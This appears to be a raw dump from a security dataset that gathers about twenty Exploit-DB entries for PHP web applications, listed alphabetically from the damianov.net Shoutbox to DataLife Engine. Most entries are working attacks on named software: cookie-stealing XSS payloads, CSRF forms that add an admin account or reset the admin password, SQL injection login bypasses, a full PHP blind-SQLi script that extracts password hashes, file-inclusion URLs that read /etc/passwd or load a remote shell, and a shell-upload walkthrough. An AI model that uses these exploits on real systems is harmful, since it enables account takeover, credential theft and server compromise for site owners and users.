deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12593
Description: damianov.net Shoutbox - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-13
Author: Valentin Hoebel

Exploit:
# Exploit Title: damianov.net Shoutbox XSS Vulnerability
# Date: 13.05.2010
# Author: Valentin
# Category: webapps/0day
# Version: 1.0
# Tested on: Debian, Apache2, PHP5
# CVE :  
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = damianov.net Shoutbox XSS Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = damianov.net Shoutbox
Vendor = damianov.net
Vendor Website = http://www.damianov.net/
Affected Version(s) = 1.0

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 Vulnerability
Type = XSS
Injecting arbitrary HTML and Java Script code is possible while adding a new
shout, no matter if HTML is allowed in the shoutsettings.php or not.

#1 Example: <SCRIPT src=some-script.js></SCRIPT>
#2 Example: <SCRIPT>alert("XSS")</SCRIPT>
#3 Example: <SCRIPT>alert(document.cookie)</SCRIPT>
#4 Example: <script>document.location.href="http://www.google.de"</script>


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 13.05.2010
Solution = Edit code and add filters.


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #44960
Description: DAMICMS 6.0.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2018-07-02
Author: bay0net

Exploit:
<!--
# Exploit Title: DAMICMS 6.0.0 - Cross-Site Request Forgery (Add Admin)
# Date: 2018-06-30
# Exploit Author: bay0net
# Vendor Homepage: https://www.cnblogs.com/v1vvwv/p/9248562.html
# Software Link: https://www.damicms.com/Down#
# Version:  DAMICMS_V6.0.0
# CVE : N/A

# DamiCMS v6.0.0 allows CSRF via admin.php?s=/Admin/doadd to add an administrator account.
# The payload for attack is as follows.
-->

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://Target/dami/admin.php?s=/Admin/doadd" method="POST">
      <input type="hidden" name="username" value="test22" />
      <input type="hidden" name="password" value="test22" />
      <input type="hidden" name="role_id" value="1" />
      <input type="hidden" name="Submit" value="添加" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #45314
Description: DamiCMS 6.0.0 - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: php
Date: 2018-08-31
Author: Autism_JH

Exploit:
# Exploit Title: DamiCMS 6.0.0 - Cross-Site Request Forgery (Change Admin Password)
# Author: Autism_JH
# Date: 2018-08-30
# Vendor Homepage: https://github.com/731276192/damicms
# Software Link: https://github.com/731276192/damicms
# Version: 6.0.0
# CVE: CVE-2018-15844

# Description:
# DamiCMS v6.0.0 allows CSRF to change the administrator account's pssword.
# After the administrator login in,open the poc,the administrator account's 
# password will been changed to 123123

# POC:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
	<body>
		<script>history.pushState('', '', '/')</script>
		<form action="http://Target/dami/admin.php?s=/Admin/doedit" method="POST">
			<input type="hidden" name="username" value="admin" />
			<input type="hidden" name="password" value="123123" />
			<input type="hidden" name="role&#95;id" value="1" />
			<input type="hidden" name="id" value="1" />
			<input type="hidden" name="Submit" value="ç&#161;&#174;å&#174;&#154;ä&#191;&#174;æ&#148;&#185;" />
			<input type="submit" value="Submit request" />
		</form>
	</body>
</html>
Exploit-DB #28671
Description: DanPHPSupport 0.5 - 'admin.php?do' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-25
Author: You_You

Exploit:
source: https://www.securityfocus.com/bid/20203/info
 
DanPHPSupport is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
 
DanPHPSupport 0.5 is vulnerable to these issues.

http://www.example.com/[path]/admin.php?do=<Script>
Exploit-DB #28670
Description: DanPHPSupport 0.5 - 'index.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-25
Author: You_You

Exploit:
source: https://www.securityfocus.com/bid/20203/info

DanPHPSupport is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

DanPHPSupport 0.5 is vulnerable to these issues.

http://www.example.com/[path]/index.php?page=<Script>
Exploit-DB #7758
Description: Dark Age CMS 0.2c Beta - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-13
Author: darkjoker

Exploit:
--+++==================================================================================+++--
--+++====== Dark Age CMS <= v0.2c Beta (Auth Bypass) SQL Injection Vulnerability ======+++--
--+++==================================================================================+++--

[+] Dark Age CMS <= v0.2c Beta (Auth Bypass) SQL Injection Vulnerability
[+] Author: darkjoker
[+] Site  : http://darkjoker.net23.net
[+] Notes : Have fun

[+] Code
[+]	$username = $_POST['username'];
[+]	$user_password = $_POST['password'];
[+]	$password = md5($user_password);
[+]	
[+]	$query = "SELECT * FROM " . ACCOUNTS_TABLE . " WHERE username='$username' AND [CREDENTIAL_REDACTED]'";
[+]	$result = mysql_query($query) or die('error making query');
[+]	

[+] Login data:

[+] Username: x' OR 'x' = 'x'#
[+] [CREDENTIAL_REDACTED]

# milw0rm.com [2009-01-13]
Exploit-DB #32724
Description: Dark Age CMS 2.0 - 'login.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-14
Author: darkjoker

Exploit:
source: https://www.securityfocus.com/bid/33271/info

Dark Age CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dark Age CMS 0.2c beta is vulnerable; other versions may also be affected. 

The following example data is available:

Username: x' OR 'x' = 'x'#
[CREDENTIAL_REDACTED]
Exploit-DB #12553
Description: Dark Hart Portal - 'login.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-05-10
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------

Dark Portal (login.php) Remote File Inclusion Vulnerability

-------------------------------------------------------------------------------------
 
Author:    CoBRa_21
 
Mail:    uyku_cu@windowslive.com
 
Script Download:  http://sourceforge.net/projects/darkportal/
 
-------------------------------------------------------------------------------------
 
Exploit:
 
http://localhost/[PATH]/login.php?include_path= [Shell]

-------------------------------------------------------------------------------------
Exploit-DB #24806
Description: darryl burgdorf weblibs 1.0 - Directory Traversal
Type: webapps
Platform: php
Date: 2004-12-07
Author: John Bissell

Exploit:
source: https://www.securityfocus.com/bid/11848/info

It is reported that WebLibs is prone to a remote directory traversal vulnerability. This issue is due to a failure of the application to properly filter user-supplied input. 

WebLibs 1.0 is affected by this vulnerability.

The following proof of concept is available:
<INPUT type=hidden value="/../../../../../etc/passwd" name="TextFile">
Exploit-DB #11159
Description: DasForum - 'layout' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-01-16
Author: cr4wl3r

Exploit:
                            \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   |   DasForum (layout) Local File Inclusion Exploit   |
   |      (works only with magic_quotes_gpc = off)      |
   ------------------------------------------------------
[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>
[!] Download: http://mirror.vocabbuilder.net/savannah/dasforum/
[!] Version: 0.0.1
[!] Date: 15.01.2010
[!] Remote: yes


[!] Vulnerability Code [bbcode_inputs.php] :

    include("layouts/".$layout."/bbcode_inputs.php");


[!] PoC:

    [DasForum_path]/bbcode_inputs.php?layout=[LFI%00]
Exploit-DB #33597
Description: Data 1 Systems UltraBB 1.17 - 'view_post.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-04
Author: s4r4d0

Exploit:
source: https://www.securityfocus.com/bid/38097/info

Data 1 Systems UltraBB is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Data 1 Systems UltraBB 1.17 is vulnerable; other versions may also be affected. 

http://www.example.com/view_post.php?post_id==">><script></script><marquee><h1>XSS By Fatal Error</h1></marquee>
Exploit-DB #45807
Description: Data Center Audit 2.6.2 - 'username' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-12
Author: Ihsan Sencan

Exploit:
# Exploit Title: Data Center Audit 2.6.2 - 'username' SQL Injection
# Dork: N/A
# Date: 2018-11-09
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://sourceforge.net/projects/datacenteraudit/
# Software Link: https://netix.dl.sourceforge.net/project/datacenteraudit/data_center_audit_v262.zip
# Version: 2.6.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/dca_login.php
# 
POST /[PATH]/dca_login.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 288
username=112'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&pass=1&submit=Login
HTTP/1.1 200 OK
Date: Fri, 09 Nov 2018 12:53:07 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 422
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #45831
Description: Data Center Audit 2.6.2 - Cross-Site Request Forgery (Update Admin)
Type: webapps
Platform: php
Date: 2018-11-13
Author: Ihsan Sencan

Exploit:
# Exploit Title: Data Center Audit 2.6.2 - Cross-Site Request Forgery (Update Admin)
# Dork: N/A
# Date: 2018-11-09
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://sourceforge.net/projects/datacenteraudit/
# Software Link: https://netix.dl.sourceforge.net/project/datacenteraudit/data_center_audit_v262.zip
# Version: 2.6.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/dca_resetpw.php
# 
POST /[PATH]/dca_resetpw.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
updateuser=admin&pass=efe&pass2=efe&submit_reset=VerAyari
HTTP/1.1 200 OK
Date: Fri, 09 Nov 2018 12:47:37 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 842
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/dca_resetpw.php
# 
<html>
<body>
<form action="http://localhost/[PATH]/dca_resetpw.php" method="post">
Username:admin
<input name="updateuser" value="admin" type="hidden">
New Password:
<input name="pass" maxlength="10" type="password">
Confirm Password:
<input name="pass2" maxlength="10" type="password">
input name="submit_reset" value="Change Password" type="submit">
</table>
</form>
</body>
</html>
Exploit-DB #15249
Description: Data/File - upload and Management Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-10-14
Author: saudi0hacker

Exploit:
: # Exploit Title: Data/File upload and management local shell upload                        :
: # Date: 14/10/2010                                                                         :
: # Author: saudi0hacker                                                                     :  
: # Software Link:  http://resellscripts.info/index.php?route=product/product&product_id=137 :
: # Version: All version                                                                     :
: # Tested on: linux b0x                                                                     : 
: # Greetz to : All of my Friends                                                            :
----------------------------------------------------------------------------------------------

 [~] STEP 1 > Go to target link

     http://localhost/dataupload

 [~] STEP 2 > upload your shell as [shell.php.jpg :: or some times :: shell.php]

 [~] Th3 End
Exploit-DB #17367
Description: Dataface - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-06-07
Author: ITSecTeam

Exploit:
//==========================================================================
//( #Topic    : Dataface
//( #Bug type : local file include
//( #Advisory : http://xataface.com/
//==========================================================================
//( #Author : ItSecTeam
//( #Email  : Bug@ITSecTeam.com
//( #Website: http://www.itsecteam.com
//( #Forum  : http://forum.ITSecTeam.com
//( #dork   : Powered by Dataface
//( #Thanks : ahmadbady
//---------------------------------------------------------------------

Sample:
http://server/index.php?-action=../../../../../../etc/passwd%00

Poc:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>coded by ITSecTeam</title>

<script language="JavaScript">

 function it(){
                xpl.action=
xpl.victim.value+xpl.path.value+xpl.file.value+xpl.lfi.value;xpl.submit();

            }
</script>

</head>

<body bgcolor="#FFFFFF">

<p align="left"><font color="#0000FF">Dataface portal lfi vuln</font></p>
<p align="left"><font
color="#0000FF">-----------------------------------</font></p>
<form method="post" name="xpl" onSubmit="it();">
    <p align="left">
    <font
size="2" face="Tahoma">
    victim:
    <input type="text" name="victim" size="33";" style="color: #FFFFFF;
background-color: #000000" value="http://apps.weblite.ca">
    path:
    <input type="text" name="path" size="20";" style="color: #FFFFFF;
background-color: #000000" value="/">
    file:
    <input type="text" name="file" size="20";" style="color: #FFFFFF;
background-color: #000000" value="index.php?-action=">
    </font>
    </p>
        <p align="left">
    <font
size="2" face="Tahoma">
    lfi:
    <input type="text" name="lfi" size="115";" style="color: #FFFFFF;
background-color: #000000" value="../../../../../../etc/passwd%00">
    </p>
    </p>
<center>

</p>
  <p><input type="submit" value="GO" name="B1" style="float: left"><input
type="reset"
value="reset" name="B2" style="float: left"></p>
</form>
<p><br>
 </p>
</center>
<font
color="#0000FF">------------------------------------------</font></body></body>

</html>
Exploit-DB #34418
Description: Dataface 1.0 - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-08-06
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/42282/info

Dataface is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Dataface 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/admin.php?-table=pages&-search=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&-action=search_index
Exploit-DB #32226
Description: Datafeed Studio - 'patch.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-08-12
Author: Bug Researchers Group

Exploit:
source: https://www.securityfocus.com/bid/30659/info

Datafeed Studio is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/admin/bin/patch.php?INSTALL_FOLDER=[Evilc0dE]
Exploit-DB #32227
Description: Datafeed Studio 1.6.2 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-12
Author: Bug Researchers Group

Exploit:
source: https://www.securityfocus.com/bid/30660/info

Datafeed Studio is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Datafeed Studio 1.6.2 is vulnerable; other versions may also be affected.

http://www.example.com/search.php?q="><script>alert("XSS")</script>
Exploit-DB #1939
Description: DataLife Engine 4.1 - SQL Injection
Type: webapps
Platform: php
Date: 2006-06-21
Author: RusH

Exploit:
<?php
error_reporting (E_ERROR);
ini_set("max_execution_time",0);

echo '
+========================================+
| RST/GHC Datalife SQL injection exploit |
+========================================+
<    >  Lite Version for DLE <=4.1  <    >
';

if ($argc < 2 ){
print " Usage: " . $argv[0] . " <host> <user> [table prefix]\n";
print " ex.: " . $argv[0] . " datalife.engine.net admin\n";
credits();
exit;
}

//DEFINE USER ID
$urla = 'http://' . $argv[1] . '/index.php?subaction=userinfo&user=' . $argv[2];
$result = file_get_contents($urla);
$str1 = 'user='; #index.php?do=pm&doaction=newpm&user=
$position = strpos($result, $str1);

if ($position === false){ print "\n\rSorry, no match found for user " . $argv[2]; credits();}
$str2 = '">';
$pos = strpos($result, $str2, $position);
$pos1 = $position+5;
$user_id = intval(substr($result, $pos1, $pos-$pos1));

print "Trying to get hash for password of user ". $argv[2] ." with id=" . $user_id . ":\n";

//SOME defines (aka CONFIG =))
if (empty($argv[3])){ $prefix = 'dle_';} #define prefix of the tables. try to find it yourself =) it is easy =)
else {$prefix = $argv[3];}
$min = 48;  # 0
$max = 122; # z
if (check(">$min", 1) == 0 && check("<$max", 1) == 0) {print "\n Site is unvulnerable..."; credits();}
for ($sn=1; $sn <= 32; $sn++) {
   blind($sn, $min, $max);
}
credits();


// REQUEST function
function check($crcheck, $sn)
{
   global $argv, $user_id, $prefix;
$host   = 'http://' . $argv[1] . '/index.php'; # argv[1] - host
$name = $argv[2]; #user name
$query  = '?subaction=userinfo&user=' . $name .'%2527%20and%20ascii(substring((SELECT%20password%20FROM%20' . $prefix. 'users%20WHERE%20user_id='. $user_id .'),' . $sn . ',1))' .$crcheck . '/*'; #

$http = $host . $query;
#DEBUG
#print $http . "\n";
 $result = file_get_contents($http);
 
 // checking the answer
 $string = ': '.$name.'</h2>'; #CORRECT it FOR your version, kids =)
#good idea is: 'do=pm&doaction=newpm&user='.$user_id;
 
   if (eregi($string, $result)) { return 1; }

 return 0;
}

//range function
function blind($sn, $fmin, $fmax)
{
 if (($fmax-$fmin)<5) { if (crack($fmin, $fmax, $sn) == 0){print "\n\rEXPLOIT FAILED..."; credits();} return;}
 $compare = intval($fmin + ($fmax-$fmin)/2);
 $crcheck = ">". $compare;
 if ( check($crcheck, $sn) == 1 ) {
    blind($sn, $compare, $fmax);
    }
 else {
    blind($sn, $fmin, $compare+1); }
}

//brute function
function crack($cmin, $cmax, $sn)
{
 for ($i=$cmin; $i <=$cmax; $i++){
   $crcheck = "=$i";
   if (check($crcheck, $sn) == 1){print chr($i); return 1;}
 }
return 0;
}


function credits(){
print "\n\n+========================================+\n\r Credits: 1dt.w0lf & foster \n\r Copyright (c) RST/GHC";
print "\n\r http://rst.void.ru && http://ghc.ru\n\r+========================================+\n";
exit;
}

?>

# milw0rm.com [2006-06-21]
Exploit-DB #9572
Description: DataLife Engine 8.2 - dle_config_api Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-09-01
Author: Kurd-Team

Exploit:
======================================================
DatalifeEngine 8.2 Remote File Inclusion Vulnerability
 
<<!>> Found by  :  kurdish hackers team
<<!>> C0ntact : pshela [at] YaHoo .com
                  
<<!>> Groups : Kurd-Team
<<!>> site   : www.kurdteam.org
=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================
<<->> script   :: DatalifeEngine8.2
<<->> home script :: http://dlecms.com/download/DatalifeEngine8.2.zip
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
<<->> google dork : Powered By DataLife Engine
<<->> Exploit ::
 
 >>> www.site/path /engine/api/api.class.php?dle_config_api=[shell.txt?]
 
 
=======================================================
 
=======================================================
<<->> All freinds , Zryan_kurd , RootSyS all member kurdish hackers team

# milw0rm.com [2009-09-01]
Exploit-DB #33544
Description: DataLife Engine 8.3 - '/engine/ajax/addcomments.php?_REQUEST[skin]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-01-19
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37851/info
   
Datalife Engine is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.
   
Datalife Engine 8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://www.example2.com